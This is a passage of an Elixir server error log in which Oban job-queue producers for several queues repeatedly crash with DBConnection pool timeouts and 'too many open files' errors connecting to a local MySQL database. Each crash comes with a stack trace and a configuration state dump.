refresh_timer: #Reference<0.2525715032.1068498948.44524>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:02:38.239880Z], limit: 20, uuid: "19b1d625-6497-4771-b1a9-4044fd88c637", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:38.239886Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.40753>, refresh_timer: #Reference<0.2525715032.1099431938.40752>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:50.408000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:51.833000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:52.121000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:53.192000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:53.737000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:56.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:57.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:00.352000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:02:50.239353Z], limit: 5, uuid: "05a0e791-963b-452a-bdad-d4a5f197705a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:50.239358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.40871>, refresh_timer: #Reference<0.2525715032.1077673987.19550>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:02:50.239140Z], limit: 3, uuid: "89b14391-60e1-4cae-9911-c1388467993f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:50.239146Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.40874>, refresh_timer: #Reference<0.2525715032.1121189889.153797>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:02:50.239194Z], limit: 50, uuid: "19b7695b-5963-4210-8324-a3e30f75c269", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:50.239199Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.19579>, refresh_timer: #Reference<0.2525715032.1121189889.153801>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:02:50.239849Z], limit: 20, uuid: "d88350ed-b8e8-4ef6-8c77-459857b8eace", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:50.239854Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.40870>, refresh_timer: #Reference<0.2525715032.1099431938.40869>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:02:50.239031Z], limit: 5, uuid: "e4417073-86d6-464d-8037-86bf8da4161a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:50.239037Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.40872>, refresh_timer: #Reference<0.2525715032.1068498948.44544>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:02:50.239288Z], limit: 10, uuid: "df9e6c34-b7f3-4f32-9303-15c2bad075af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:50.239294Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.40873>, refresh_timer: #Reference<0.2525715032.1121189889.153807>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:02.376000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:02.582000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:03.158000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:07.864000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:11.359000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:14.512000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:03:02.245151Z], limit: 5, uuid: "e0330c08-d367-421a-90cf-bbd3e7610f39", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:02.245157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41186>, refresh_timer: #Reference<0.2525715032.1121189889.154073>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
